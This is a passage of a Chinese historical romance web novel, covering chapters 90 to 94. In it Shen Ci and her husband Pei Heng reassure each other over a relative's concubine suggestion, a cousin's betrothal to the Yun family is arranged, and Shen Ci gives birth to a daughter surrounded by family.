通房和侍妾,需要她来安排吗? 裴珩皱起了眉头,这话有些没头没脑的,他仔细思考了一番,从舅母的为人和最近所发生的事情当中,找出了一个近乎荒诞的可能。 “舅母和你说了什么有的没的?”裴珩有些好笑的问道,“怎么不直接回绝她?” 沈瓷咬着唇瓣,并没有想到裴珩能猜出来。 可仔细想想也并不难猜,能发生在她身上的,其实也就是这些事。 “沈少夫人的心里是怎么想的?”裴珩轻声问她,一声沈少夫人喊得沈瓷有些想躲。 心中的想法和纠结全被看穿一般,她迫切的想把自己藏起来。 “我…” 她想说自己没有多想,可这话说出来假的自己都不相信,既已经打定主意要试探,要追问,何必还要惺惺作态? 只是心里想的是一回事,真正面临的时候,就是另一种心情。 “阿瓷,你心里是怎么想的,告诉我,好不好?”裴珩的声音愈发温和,他心中是欢喜的,面前的人是自己的心上人。 他当然在乎沈瓷的想法。 “什么都可以,想到什么,就告诉我什么。”裴珩的语气太过温和,不像是在和妻子说话,倒像是在哄孩子。 循循善诱。 “我不想大度。”沈瓷喏喏开口,她想尽量的让自己说的话显得并没有那么无理取闹,虽然这些事可能都是徒劳,沈瓷垂下眼,显得安静又乖巧。 裴珩想,若是有人在他面前说话的时候说半句藏一句,或是需要自己这么一点点的哄着说话,只怕那人早已经没办法出现在自己的面前。 但,沈瓷不同。 裴珩展现出了前所未有的耐心。 “我担心,你希望我是大度的。”沈瓷的声音有些难受,她有一种想哭泣的冲动,却不知道自己为什么要哭。 她想若裴珩想要个贤惠的妻子,自己要怎么办? 也要努力变得贤惠吗? 她,不想去学怎么办。 “我也想知道,自己…是不是夫君期待的模样?” 沈瓷的模样有些委屈,裴珩看着她这般心里也很不好受,他走过去将沈瓷整个儿抱在怀里,郑重其事的开口,“你当然是我期待的模样。” 这就是裴珩期待的模样,“我不想你太大度,毕竟…我希望你心里是在乎我的。” 他在乎沈瓷,自然会在意方方面面。 很奇妙的感觉,不过是几句话,就能让她堵了一整日的郁气渐渐的散去。 沈瓷冲着裴珩露出了一个很浅很淡的笑容,她没说起别的来,亦不知未来会如何。 那些在遥远的未来,不是现在需要考虑的。 “舅母和你说了什么?” “让我给你选两个可心的丫鬟。”沈瓷被裴珩抱在怀里,几乎是对方问什么,她就回答什么。 丝毫没觉得这有什么不能说的。 最不该说,最不该问的,都已经问了,何况这些。 “怎么不直接拒绝她?” “没有想好要怎么说。”沈瓷轻声回答,事实上,那个时候人都已经懵了,心里堵的厉害,那里还能想到什么得体的回应? “何况不等我说话,母亲已经将事情解决。” 根本就不要她做什么。 “嗯。”裴珩轻轻的抚摸着她的长发,“若日后再遇到这样的事,直接回绝就好。” 裴珩认真开口,告诉沈瓷不需要将这些事放在心上。 “那,我要怎么说?”沈瓷轻声问道。 “想怎么说都可以。”裴珩掰着手指给她一个个举例,“不答应,不允许,不想要…” 什么都可以。 “阿瓷,你是我的妻子。” “不用看她们的脸色。”裴珩知道,自己说的话,沈瓷一定能够听明白,她不是从小寄人篱下长大的。 幼年时候的成长经历可以影响一个人很深很深,沈瓷哪怕如今温和,也只是看起来。 裴珩忽然有了一个,很天真,也很冲动的想法。 他想,自己应该再努力一些。 从方方面面。 成为她的底气,成为她的依仗。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第91章她在意和不在意的,都很明…… 二人安静的依偎在一起,沈瓷抱着裴珩的胳膊,将头颅轻轻的靠在他的肩上,这是一个信赖的姿态。 裴珩看着右肩传来的重量,浅浅的勾了勾唇。 “怨不得妹妹不喜欢去外祖家,原来都是因为她的缘故。”沈瓷忍不住的抱怨道。 裴珩轻轻的拍了拍她的肩膀软声安慰她,说出来的话却是助纣为虐的,“若是不想去,就不去。” 出了裴姝的事情之后,母亲也没有想过要强迫他和裴姝。 裴姝一年到头很少去外祖家。 “倒也不能这般任性的。”沈瓷知道自己的责任,也从未想过要逃避。 “若需要我去,我也不会推辞的。”沈瓷轻声开口,她声音虽然温软,可裴珩知道,她从来也不是个软弱的人。 单看她对楚大夫人的态度就知晓。 全然当她是一个需要维系表面关系的陌生人,楚大夫人气急了还会讽刺沈瓷几句。 那些话阴阳怪气,听得人心里就不舒坦,十分的膈应人,沈瓷也不客气,该说什么从不会委屈自己。 今日她头一回见崔氏,会这般憋闷,很大程度也是因为裴珩,她会因为想起这些而难受,焦虑,本质的原因是因为在意。 若不在意,则会厌烦。 如若在意,就会难受。 沈瓷即便不想承认,也不得不承认,她就是难受的。 想到裴珩也许会对着旁人温声细语,耳鬓厮磨,她心里就一抽一抽的痛。 “我自然知晓你不怕应付这些,只是担心你堵得慌。” “对付来者不善的人,也有不一样的法子。”沈瓷毫不避讳的说起这些,裴珩也没有阻止。 但沈瓷压根没有多提,知晓裴珩的态度之后,她就将这位丈夫的舅母,归类到楚大夫人一块儿。 再也没当一回事。 沈瓷想到这里,没忍住又将他抱紧了一些,这番态度让裴珩颇有些意外。 今日的沈瓷,似乎格外黏人了些。 裴珩其实知道,沈瓷对他的态度在悄无声息的改变。 先前他因为很快就有了孩子而略显失落,如今却觉得这个孩子来的很是时候。 因为怀孕的缘故,就连沈瓷自己都没有发现,她渐渐的开始依赖裴珩,而裴珩不动声色的,将她的改变照单全收。 一点一点的影响着沈瓷。 “饿没饿?” 沈瓷点了点头,“我有一些饿了,但是不想动。” 她靠在裴珩的肩膀上面,想了许许多多的事情,丫鬟们在外间点起了烛火,夜色渐渐的深了。 也听见裴珩招呼丫鬟进来点灯。 她其实也知道这个时候有些晚。 只是现在根本不想动弹,“我想再靠一会儿。” 她不想打破这一刻的温馨,对面前的人很是依恋。 裴珩低头看她,沈瓷恰好抬头,四目相对时,可以清晰的看见彼此的身影倒映其中。 被蛊惑仿佛是很正常的一件事。 待裴珩反应过来的时候,他已经吻上了沈瓷的唇,那是一种,很令人着迷的触觉。 唇齿相依。 拥有的时候总会忍不住的想要更多,更多。 在遇到沈瓷之前,裴珩从未想过有朝一日他的自制力会溃败成这样。 只要遇上沈瓷,就什么都顾不得。 他的吻并没有很温柔,那些被他藏起来的汹涌情绪,在这一刻展现的淋漓尽致,沈瓷有点想躲,却被裴珩紧紧的抓住。 “阿瓷…” “别躲。” 含糊不清的声音逸出,沈瓷听见他的声音,愈发的有些羞赧,“我…我…” 裴珩看着她那双清亮的眼眸,总觉得自己像极了一个登徒子,明明这是他的妻子。 他和自己的妻子亲近,并不是什么很值得奇怪的事。 但被这般直白的看着,对于裴珩而言也是一种不小的考验,裴珩伸出手,小心的覆盖上她的眼眸— 不要那般看着他。 他当真不算个正人君子,而且。 他在她的面前,根本就没有自制力。 裴世子这一手掩耳盗铃玩的炉火纯青,待二人气息平静,已经不知过去多久。 沈瓷这会儿已经不想靠在裴珩的身上,但此时此刻晕乎乎的,根本就做不了自己的主。 眼中水雾一片。 沈瓷没忍住瞪了他一眼,只可惜这一眼是什么威慑力都没有,反而让裴珩愈发移不开视线,“夫人这是抹了什么胭脂?” 裴珩明知故问。 沈瓷没有理他。 得了甜头的裴世子半点都不在意,拇指抚摸上她的唇瓣,上头水光潋滟,分外动人。 “先前买的口脂,好似也是这个颜色的。” 裴珩不知是真的不知道,还是故意的。 真真是哪壶不开提哪壶。 “我如今还能抹什么胭脂口脂的?”沈瓷气呼呼的说道,“还不是因为你靠我太近,热得慌。” 这话虽是借口,说的也不无道理。 如今的天气当真是越来越热,沈瓷又很怕热,在裴珩问她想吃些什么的时候,嘟嘟囔囔的说想要沐浴。 “让人备水。” “想吃一品居的软酪。”沈瓷毫不客气的提出要求,裴珩立刻应下,他想了想吩咐旁人去买也许买不到符合沈瓷心意的,便自己亲自出门买了。 待沈瓷从净室出来。 她想要吃的软酪已经摆在了桌上,不仅如此还多了一些别的。 沈瓷将软酪拿在手上,一点一点的掰开吃完,甜甜的食物吃下去,心情也变得极好。 * 崔氏本是想让沈瓷婆媳俩心生间隙隔阂,谁知竟然弄巧成拙。 非但没有离间成功,还落得自己没脸。 这件事情知道的人不算多,也唯有那日参加宴会的人知晓,可这些人大多都是亲族。 意思便是,该知道的人都知道了。 崔氏的脸色难看的不得了。 一连好几日都不想见人。 成日里骂骂咧咧的,也不知道在骂谁,这些事情沈瓷一概不知,她正忙着去忠毅伯府做客。 舅母让她早早的过去,沈瓷自然不会去的很晚,她到的时候,楚映梦还没来。 许是因为要带着珠珠出门的缘故,表姐来的比之前晚了一些。 沈瓷在堂屋坐着听楚思怡说话,姊妹一道等着表姐过来,结果她还没等来表姐,却率先等来了舅母。 裴氏今日挺忙。 云家人昨日来了金陵,住在驿站里。 裴氏早早的派人和他们沟通过,定下了两家人都满意的行程,而裴氏方才没有早早的过来,也是因为在和楚大夫人说话。 她们妯娌两个关系不和不是什么值得隐瞒的事,但今日是楚修筠和云家姑娘相看的日子,裴氏不能让她破坏。 “可有用过早膳?这会儿饿没饿?”裴氏关切的问道。 沈瓷轻轻的摇头,“舅母放心,不会饿的。” 她自从坐下后,身边小几上就没缺过吃的,都是她喜欢吃的,沈瓷知道这些是舅母准备的。 即便府上这么忙碌,舅母还是没有把她忘记。 “一会儿让思怡陪着你。”裴氏看着沈瓷的肚子,心中满是安慰,沈瓷虽已经渐渐习惯,可对于长辈如此直白的眼神。 多少还是有些不太习惯。 “好。”沈瓷收下这直白的善意,安安静静的坐在一旁。 本以为舅母是有什么要紧的事情要交代,谁知舅母什么都不曾说起,只说让她们几个帮着一起参谋参谋。 她虽然属意云家姑娘,可具体如何还是要看楚修筠和云家姑娘有没有缘分。 裴氏很重视这件事,连带着沈瓷也紧张起来。 楚修筠没见过云家姑娘,但他有正常人的思考能力。 这回云家千里迢迢过来,来的人同样不少,光是适龄的姑娘就有好几个。 两家人见了面。 各自相谈甚欢。 楚修筠虽然有些紧张,却并不是一个木讷的人,云家众人也没有想到楚修筠还给准备了礼物。 那是一杆红缨枪,非常的漂亮。 云喜见到的时候眼睛都亮了起来,只是她这会儿要矜持。 便直白询问这红缨枪是出自何处? “这是打马球赢下的彩头。”楚修筠没有想过说谎,只是这话一说出来,云家众人都有些疑惑。 像是没有想到,还会听到这样的回答。 金陵的公子哥们,不都喜欢藏着掖着,或是吹嘘来吹嘘去的吗? “听闻云二姑娘枪法了得,恰好那日瞧见觉得很适合姑娘。”楚修筠没有一点隐瞒,将事情的来龙去脉说的清清楚楚。 他甚至都不是特意去赢这个彩头的。 只是碰巧。 云喜原本对于要嫁来金陵并不怎么满意,对于那个名声很好的,即将要成为自己未婚夫的公子哥,也并不满意。 过来这一趟她打定主意想着要找茬,谁知…竟遇上这样的事。 云喜忽然觉得自己这个未来的未婚夫,和自己想象中的并不一样。 “楚大公子,我是第一次来金陵,能不能麻烦你陪我逛一逛?”云喜想知道楚修筠究竟是个怎样的人,所以大胆的提议道。 楚修筠看着面前的姑娘,并没有拒绝,缓缓的点头,“若云姑娘不嫌弃…” 楚修筠的确答应下来了,但陪同云喜一起逛金陵城的,却不仅仅是他一个。 还有沈瓷和楚思怡。 她的言谈举止和金陵土生土长的姑娘有很大的区别,只要一出现在金陵城,就会引起轩然大波。 楚修筠并不知未来会如何。 可也不想云喜的名誉受损。 对外只宣称是远房亲戚,来金陵游玩的,云喜没想到这些,云家人也没这样弯弯绕绕的心思。 但对于楚修筠这般妥帖的安排并不觉得反感。 午膳是在忠毅伯府用的,云家人很意外的发现,竟还有北城的菜肴。 一顿饭过后,云家人对楚家有了初步的了解。 友爱和睦,互帮互助。 云喜本以为沈瓷是楚家出嫁的女儿,结果后头才知那是楚家的表姑娘。 瞧见她们齐乐融融的模样。 云喜心中的忧虑不知不觉减少了七八分。 好像嫁来京城,也没有什么不好的。 第92章 第92章裴世子做什么事情,都是游刃…… 在金陵城逛了几日之后,忠毅伯府和北城云家的婚事就定下了。 云喜见到楚修筠的时候并没有什么反感,那杆红缨枪,更是送到了她的心坎里,云喜要离开金陵的时候,和楚修筠话别。 在云喜尚未提出要求之前,楚修筠便告诉她,等到成亲的时候,他会去北城迎亲。 云喜欣然答应,“那你可一定要准时来。” “好。” “我们定下了亲事,无论那天是什么日子,你都要来。”云喜说的话, 楚修筠一开始是有些听不明白的。 但很快他就反应过来。 他用力的点头,“无论是什么天气,我都会准时到的。” 云喜大大方方的和楚修筠道别,踏上了回家的旅程。 楚修筠的亲事定下来之后,裴氏少了一桩心事,又开始思索起另外两个孩子来,楚景澄和楚思怡两个对这些事儿压根就没什么兴致。 楚景澄小孩儿心性。 至于楚思怡,她其实心中是有喜欢的人。 于是两人一合计,开始哄人,让母亲多多操心操心别的,“阿瓷表姐就快要生产,她一定很害怕。” 楚思怡说的煞有介事。 裴氏想起当日楚映梦生产就哭得不能自己。 又想起沈瓷没了母亲,一时间心焦不已。 “这可真是让人操心…”裴氏的心思都被沈瓷占据,也给了楚景澄和楚思怡喘息的机会。 裴氏操心着楚修筠亲事的同时,也开始时不时的往娘家走动,打听嫂嫂的想法。 永宁候夫人知晓小姑子是无事不登三宝殿,得知她的心思之后,浅浅的笑了笑,“这事儿也轮不到我们俩来操心,裴珩自己早早的就将这些事全部都处理好。” “什么?” “府上的奶娘和嬷嬷,都早已经备下。” “还有稳婆和大夫,也都已经找好,前前后后看了不少,甚至还让长鸣将那些稳婆的前后三代全部都查了一遍…”永宁候夫人说起这个的时候实在是没忍住,对着小姑子将自己心中腹诽的话全部说了出来。 “还说奶娘没法子,但嬷嬷一定要选亲近的人,生产那天还让我一定要去将你请回来…”永宁候夫人絮絮叨叨说了许久。 裴氏听着这话,心里却放松不少。 她看向嫂嫂,想知道嫂嫂是如何想的。 这婆婆和儿媳妇之间,也许会不对付? 永宁候夫人看着小姑子的眼神,多少有些嫌弃,“你这是在想什么?” “难不成觉得我会不高兴?” 裴氏没说话,永宁候夫人愈发的嫌弃,谁都当过嫂嫂和小姑,也有婆婆和儿媳妇这样的身份,何必去为难什么?更何况她的儿媳妇一直那么好。 “裴珩能够意识到这些,去做这些,于我而言是很欣慰的一件事。”永宁候夫人可没有什么兴致去当个恶婆婆。 “他已经想好提前半月告假,就担心阿瓷会忽然生产…我都觉得不是阿瓷紧张,而是他在紧张。” 裴氏听到这里也忍不住的笑了起来。 “从前都没有想到,珩儿竟会这般。” “你不知道,因为阿瓷现在肚子越来越大,他也就在阿瓷的面前还能冷静理智些,每日来我这里请安,虽未明说但眼神真是骗不了人的。”永宁候夫人也不吝啬,将自己知道的全部都告诉小姑子。 两人坐在一处说说笑笑的。 永宁候夫人留小姑子用午膳,说一会儿沈瓷就会过来。 “我原本已经让她不用日日过来请安,一开始因为困倦,倒也不来了,后来四五个月的时候,没那么犯困,又开始成日里跑来。” 当婆婆的面对儿媳妇太守规矩,也是很头疼的。 “大冬日的,我也不想太早起…”永宁候夫人无奈的揉了揉自己的额头,笑着说起自己的烦恼。 裴氏听得明明白白,嫂嫂虽然嘴上抱怨着,可桌上准备的都是沈瓷喜欢吃的东西。 想来她也是很满足的。 “嫂嫂得了个好儿媳妇,就这般的炫耀呢?”裴氏打趣道。 永宁候夫人不太搭理她,问起和云家的婚事,得知婚事顺顺利利,也由衷的为她高兴,“只是你和你那妯娌,怕是愈发的僵了。” “那又如何?谁养大的孩子谁心疼,我与她原本也没什么情谊可言。” 两人又说了不少的话,直到沈瓷过来。 裴氏见沈瓷过来,也没再谈论起别的,只是围绕着她腹中的孩子说了不少。 * 在众人的期待中,沈瓷的孩子终于要出生了。 因为前头做足了准备,所以府上一点儿也不乱,即便沈瓷是半夜的时候破的水,裴珩也还是第一时间将事情安排好了。 等到永宁候夫人得了消息赶过来时。 稳婆都已经去了产房。 裴珩倒是没有闹着非要去产房陪着,他也做不出那样的事情,只是裴氏见他神色焦急的站在外头,也不知现在跟他说话,他能够听进去多少。 裴姝也被惊动,打着哈欠走了过来,“阿娘,如今可还好?” “你哥哥将事儿都已经准备妥当,不会有什么大事的。” 永宁候夫人安慰着裴姝,母女俩也没了睡意,都在外头候着,她们本以为裴珩此时此刻除了沈瓷,是顾不上别人的。 可谁知裴珩却走了过来,询问母亲和妹妹的情况。 担心她们两个会冷,让她们去屋子里坐,“孩子还没出生,也不知还要多久,这般干坐着也不是个事。” “阿瓷情况如何?” “里头没什么特别大的动静,想来是没什么事的。”裴珩早早的问过稳婆,知道生产时一个过程…并没能那么快。 “乳母呢?” “已经备好。”裴珩冷静回答。 不仅仅如此,他还命人准备了不少药材,真真是有备无患。 产房里密不透风,许是因为阵痛越来越强烈,里头传来了沈瓷呻吟的声音,裴珩的心忽然紧张了起来。 院子里灯火通明,裴珩的身影倒映在门窗上,沈瓷可以清晰的看见他的影子。 腹部一阵阵的疼痛,拉回沈瓷的思绪,她咬着唇瓣,觉得越来越痛。 稳婆在一旁安慰着她,嬷嬷也陪在身旁,可沈瓷的心中依旧有不少的惶恐,她有一些想自己的母亲。 只可惜… 母亲不在身边。 “少夫人,您千万要放松,生孩子不是什么大事。”稳婆在一旁安慰她,沈瓷一边点头,但心中是一点都放松不了。 屋子里的动静变得愈发嘈杂。 裴珩想起自己先前还想着托付母亲去给姑母送口信,但是如今他却有了另外的计较。 这会儿天色太晚,本也不是什么很合适的时候,何况金陵城还有宵禁,裴珩便想着若沈瓷明早还没能生,他就一早去忠毅伯府。 “我亲自去接姑母。” 永宁候夫人点了点头,并没有反驳他的话。 生孩子本就不能挑时候,裴氏原本也说过,若她和裴珩都不介意,她很高兴可以过来陪沈瓷。 沈瓷痛了许久,她明明一直都告诉自己,不要紧张,不要害怕。 但心里想的是一回事,做出来的又是另一回事。 她分明已经很勇敢很坚强,可诸多未知让她忍不住的害怕。 金陵城解除宵禁的时候,裴珩让人给忠毅伯府送了信,而后亲自驾车去了忠毅伯府。 裴氏那会子才刚刚醒,收到消息之后立刻开始换衣裳,起的竟比楚恒还早些,当舅舅的知晓这事之后,让妻子带两支老参过去。 裴氏默默的看了他一眼,“你这是…?” 楚恒倒是半点不介意,“我这不是盼着阿瓷不好,只是想万一用得上呢?你且先去,我下了朝之后也去瞧瞧。” 裴氏答应下来。 裴珩还想解释什么,可当姑母的压根没在意这些,一见面就问他,“阿瓷可还好?” “尚好,只是她应当是害怕的,只是不说出来…”裴珩想到这里,心中很是难受,许多时候沈瓷都会压抑自己的感受。 头一回生产,如何能够不害怕? 裴氏见状安慰了几句,可裴珩却半点没被安慰到,“姑母,就当是我太自以为是…” 裴氏只问了沈瓷的情况,而如今裴珩最愿意说的,也是她的情况,清晨没什么人,马车行使的飞快,很快就到了永宁侯府。 裴氏没瞧见嫂嫂,也没太在意,进去的时候发现嫂嫂竟然在产房,“嫂嫂?” “我有些担心 ,所以进来看看。” 沈瓷被阵痛折磨着,明明痛苦,却一直紧咬着唇瓣,待睁开眼看见舅母的时候,眼中的泪悄无声息的划了下来。 裴氏想起楚映梦当时的模样,看着沈瓷这般颇有些心疼,“傻孩子,不害怕,舅母陪着你。” 沈瓷用力的点了点头,心中安定了不少,又瞧见一旁的婆母,“母亲?” “我不放心,就过来看看。”永宁候夫人的心中也很纠结,她担心自己过来会让沈瓷紧张,可若什么都不做,她心中也过意不去。 就造成了如今的局面。 沈瓷的心安定了不少。 她听从稳婆的话,慢慢的用力,虽然疼痛越来越强烈,但沈瓷的心已经安定下来,她知道自己并不是一个人… 不知过了多久,她听见了孩子清脆的啼哭声。 疼痛已经消失不见,取而代之的是密密麻麻的疲倦。 “孩子稳婆已经抱去清洗,一会儿就抱过来。”裴氏安慰道。 沈瓷轻轻的点了头,“舅母…母亲…那孩子可好?” “孩子好好的,是个漂亮的小姑娘,全须全尾的,你听这哭声,健康的很。”回答她的人是永宁候夫人。 沈瓷听到这里,总算是放下心来。 还没来得及说话,就被婆母要求卧床休息。 “你且好好歇着,母亲出去瞧瞧,府上仆人也忙了一宿,该打赏的总不能落下。”永宁候夫人高兴不已。 忙命嬷嬷打赏府上的下人。 第93章 第93章永宁侯府的小小姐 沈瓷自我感觉并没有太劳累,但是生孩子本就是很伤元气的一件事,待孩子出生后,她撑不住睡了过去。 裴氏本想抱着孩子给沈瓷看看,谁知等稳婆将还是包好抱过来时,沈瓷已经睡着了。 裴氏笑了笑,将孩子抱了出去给裴珩看了看。 孩子还在腹中的时候,裴珩从未想过他是男是女,倒是沈瓷偶尔会好奇。 但裴珩当真半点也不好奇。 是男是女都是他的宝贝,名字都取了一大摞。 此番见到孩子,裴珩下意识的伸出了手想要接过,裴氏也没犹豫,将孩子放在他的怀中。 裴珩稳稳当当的接着… “这会儿刚刚睡着。” “阿瓷看过她没有?” 姑侄两个一块开口,裴氏缓缓摇头,“还没来得及看,这会儿睡着了。” “你姑父说一会儿下了朝之后过来。”裴氏笑着开口,摸了摸襁褓里的小婴儿,“等会儿姑父若是给了什么,可千万别客气。” 楚恒和妹妹的感情很好,许是因为年纪相差不大的缘故,对于妹妹唯一的孩子,楚恒自然也心疼。 最要紧的是楚恒有良心,他能够体谅裴氏的难处,知道裴氏的辛苦。 她想做什么,楚恒永远都是站在她这一边的。 “多谢姑姑。”裴珩抱着孩子语气温和的道谢。 这一声谢,包含了许多,裴氏随意的岔开话题,让他莫要抱着孩子在外头吹风。 “进去陪着阿瓷,我去找你母亲说说话。” 裴珩没有辜负姑母的好意,抱着孩子走进了屋子,沈瓷睡的很安稳,产房里的血腥味已经全部都散去。 她的脸色还有些苍白,裴珩明明知道那是因为生产的原因,却依旧忍不住的思考,她生孩子的时候是不是吃了许多苦,受了不少罪。 裴珩看着怀中的女儿,还是思索着到底要给孩子选一个怎样的名字。 沈瓷醒过来的时候,孩子已经吃过三四顿。 这么小的孩子不能长时间的抱着,乳母也唯有要喂奶时才会抱着,其余时候都是放在摇篮里。 裴珩将摇篮放在沈瓷的床边,确保妻子醒来可以第一眼就看见孩子。 事情也真如裴珩所想,她醒过来的第一眼,就看见了摇篮里的孩子。 摇篮有些高,她其实只能看见一个模模糊糊的影子,裴珩听见动静立刻走了过来。 “你醒了?可有哪里不舒服吗?”裴珩的声音还有些紧张,沈瓷印象中的丈夫做是么事情都是游刃有余的,可从未见过他这般模样。 沈瓷颇有些好奇,而这好奇甚至都冲淡了她别的心思。 心中有个疑问迫不及待问了出来,“夫君,你是在紧张吗?” 她问的随意,原本也没有想过裴珩会回答,偏偏裴珩如今半点不想隐瞒,“是…我在紧张。” 他其实很紧张。 沈瓷其实想问问他到底在紧张什么,可很显然,裴珩是不想说的。 他也没有将心思花费在这个上头。 “要不要看看女儿?”裴珩温和开口。 沈瓷的注意力很快就被摇篮中的婴儿占据,她点了点头,裴珩就将孩子从摇篮中抱出来,放到了沈瓷身边。 不过短短的几个时辰。 裴世子就已经学会怎么抱孩子,“她刚刚睡着。” 沈瓷看着孩子有点儿茫然,她想起婆婆和舅母说过的话,忍不住的说道,“母亲说,这是个漂亮的孩子…” 这,就算是漂亮的吗? 沈瓷其实有些不太能够理解。 这么丁点大的孩子,究竟是怎么看出漂亮的? 何况… 她才这么大,是怎么看出相似的? “舅母说,孩子长得和我有些相似?”沈瓷甚至都不知自己花了多大的勇气,才说出这句话的。 她有点儿郁闷,心说这孩子到底哪里长得和她相似了? 沈瓷眼中的郁闷并没有掩饰,她当真是觉得有些疑惑,也是当真觉得,这个孩子并不好看。 其实,刚出生的孩子,都不怎么好看。 孩子刚出生的时候,模样愈发的不好看,只是那时候沈瓷没有醒。 才没有看见。 “过些日子就会好看的。”裴珩软声安慰她,让她不要去想这些。 “是吗?”沈瓷声音茫然,她看着睡在一旁的孩子,伸出手摸了摸她的小手。 软乎乎的。 是很神奇的感觉。 沈瓷的确觉得奇怪,明明她不觉得这个孩子有多好看,可越看越觉得移不开视线。 孩子在腹中的时候,她尚没有太大的感觉。 如今孩子呱呱坠地,沈瓷只觉得神奇。 “阿娘当初看我的时候,也是这般吗?”沈瓷轻声呢喃,说完也觉得这话太过傻气,刚刚想要改口,便听见裴珩应和的声音。 “我想,应当有些不一样。”裴珩坐在一旁和她一道看着孩子,他握住了孩子的另一只手,小小的,软软的。 让他有些舍不得放开。 “我常常听人说,父亲和阿娘,很爱你。”裴珩这话并非是哄骗,而是事实。 沈瓷自己都有些记不太清楚。 “爹爹分明更爱阿娘的。”沈瓷不大服气的说道,“在我小的时候,爹爹常常丢下我,带着阿娘出去玩。” 他们自然也会带她一起,可也不是每一回都带她的。 沈瓷小的时候也不满过,可不满也没用,爹爹放在第一位的永远都是阿娘。 裴珩没说话,他想他很能理解岳父在想什么,毕竟… 若是一模一样的情形。 他也会那么做的。 但这话却不能在这个时候说。 “夫人可有想好给孩子取什么乳名?”裴珩轻声问道,沈瓷却说自己没有想好。 她想摸一摸孩子的脸颊,却又担心自己手上没什么轻重,只是虚虚握了握她的手。 “那夫君可有给她想好名字?” 该说二人不愧是夫妻,说出来的话都是一样的。 一个问乳名,一个问大名。 偏僻谁都说不出一个所以然来,沈瓷精神不济,没说几句话就睡了过去。 裴珩在她睡着后就将孩子抱回了摇篮。 刚出生的孩子睡得快醒的也快,醒来的时候哇哇大哭,裴珩毫不犹豫的将孩子抱给乳母。 让她喂好了再送过来。 他不厌其烦,乳母自是顺着主家。 产房里虽一应俱全,但裴珩还是皱了皱眉头,总觉得不能如此。 于是在孩子洗三的时候,他将妻女挪回了住处。 裴世子的想法很简单,孩子是他们俩的,他虽没有要亲自照顾孩子的心思,却也没想过要独留沈瓷一人面对。 孩子哭了闹了,即便不用亲自哄,听着孩子哭也会心烦意乱,裴珩没想过让沈瓷独自承受这些。 洗三那天,家中来了不少人,孩子的乳名定下“宴宴”二字,是沈瓷取得。 楚映梦来看她的时候,只觉得沈瓷取的名字哪哪儿都好。 惹得沈瓷闷笑不已,“姐姐是哄我开心的吧?” “怎么会呢?”楚映梦看了两眼躺在摇篮里的奶娃娃,颇有些感慨,“我如今都已经记不清楚珠珠这点大的时候是什么模样了。” 真真是健忘得很。 楚映梦甚至连生孩子时候的疼痛也忘了大半。她甚至都还想,再要一个孩子。 只是这念头不过想一想,产育伤身,季衍也并不同意她这么快就生第二个孩子。 有些话,楚映梦没说,晏晏出生之后,他们夫妻俩就着这个问题谈论了不少。 季衍被缠的有些头疼,开始口不择言起来,“孩子哪里是说有就能有的?” 但季衍话虽如此,二人同房时依旧小心谨慎,生怕一个不小心又当了爹。 “时间总是过得很快。”沈瓷浅浅笑着,看了眼摇篮里的孩子。 又摸了摸表姐怀里的姑娘,珠珠已经半岁大,能稍稍的坐一会儿。 夏日衣衫轻薄,雪娃娃一般的孩子坐在床上,沈瓷看了就心生欢喜。 从枕头底下摸出来一副金镯子,递给了珠珠。 “这是夫君特意命工匠打造的,一共有两对,这一对是留给珠珠的。”沈瓷将镯子套在珠珠的手腕上,珠珠不知这是什么东西。 她不乐意手腕上缠着东西,一个劲的甩着。 看的楚映梦忍俊不禁,“可巧了不是,你姐夫给晏晏准备的也是金子。” 沈瓷这些日子已经收到不少的金子,金锁,金链子,镯子,金块,应有尽有,光是金锁就有七八个。 裴珩特意找了个匣子放着,沈瓷打趣他是不是再给晏晏攒嫁妆,结果就是这么一句话,让裴珩黑了脸。 整整一个晚上没有说话,若非乳母还要喂孩子,沈瓷都担心裴珩能看着孩子一晚上… “你姐夫也差不多。”楚映梦悄悄凑过来和她说话,“还提都不让提,真不知道以后会如何。” 二人说着话的工夫,外头又来了不少人,将军府离永宁侯府不远,楚映梦来的最快。 两人都说了好一会儿话,楚思怡才姗姗来迟,她风风火火的闯进来,看着两个奶娃娃眼睛都变得亮晶晶的。 “珠珠,姨姨抱抱。” “呀呀-”珠珠兴奋的挥了挥手。 “珠珠是知道姨姨要来了吗?”楚思怡兴奋不已,明眼人其实都知道孩子还不懂事。 偏偏她半点不介意,抱着孩子满屋子溜达,珠珠不算轻,但楚思怡竟能抱那么许久,真是让人意想不到。 “快些放下来,小心一会儿胳膊酸了。” “行。”楚思怡也不逞强,把孩子放了下来,谁知珠珠就在这时候哭了起来,惹的楚思怡好生心疼。 “珠珠是要姨姨抱吗?”楚思怡不确定的问道,只是小孩子如何能回答她? 唯有大人一点点的猜测。 珠珠一直在哭,直到楚思怡将她抱起来才忍住。 傻愣愣的姨姨高兴极了,对着姐姐骄傲道,“你瞧见没,珠珠喜欢我呢。” 楚映梦轻轻咳嗽一声,心说能不喜欢吗? 这样满屋子的溜达,能不开心? 第94章 第94章我希望晏晏喜欢你多一点 整个夏日,沈瓷都在坐月子,虽是酷暑,但屋子里并不闷热,裴珩命人在外间和里间装上珠帘,外间放上冰块。 冷气从外头弥漫进来,整个屋子里都是清清凉凉的。 沈瓷并没有多少难捱,只是当婆婆的心疼她,非要让她坐满两个月的月子。 裴珩每日都陪她一起,一开始沈瓷就不愿意,可裴珩百般劝说,她总算没有那么反对。 只是时间一久,她又开始不愿意起来,“夫君,不若你还是去外头住。” “外面更宽敞一些,去书房也可以,去次卧也成…”沈瓷说了许多话,意思也很明确,就是不愿和裴珩待在一处。 沈瓷这行为多少有些莫名其妙,她什么都没说,可裴珩却清楚的知道她在介意什么。 那天晚上,裴珩还是睡在了主卧,沈瓷一晚上翻来覆去的,直到夜渐渐的深了才睡过去。 次日是裴珩休沐的日子。 裴世子借口要自己陪孩子,将身边伺候的丫鬟婆子全部都支开。 沈瓷有些疑惑的看着他,“夫君?” “净室里备了水,虽然不能沐浴,可简单擦拭还是没有问题的。”裴珩的声音很温和,沈瓷愣愣的看向他。 并没有想过自己心中在意和纠结的事情居然被他察觉,他竟然还…默许了? “不是…不是说…” “如今盛夏,并不会着凉,何况我也问过大夫,此举是可行的,只是你还不能长时间的站立,我让秋叶过来。”裴珩交代完一切,就抱着二十多天大的晏晏走了走。 实则再忍一忍就好。 可是…沈瓷着实有些忍不了。 秋叶原本是不赞同的,她并不知世子已经问过大夫,只是照着往常的经验,想要劝一劝自家姑娘。 可一听说是世子特意问过大夫之后,心中别提有多高兴,“世子当真是想着姑娘,竟连这些也都考虑好了。” 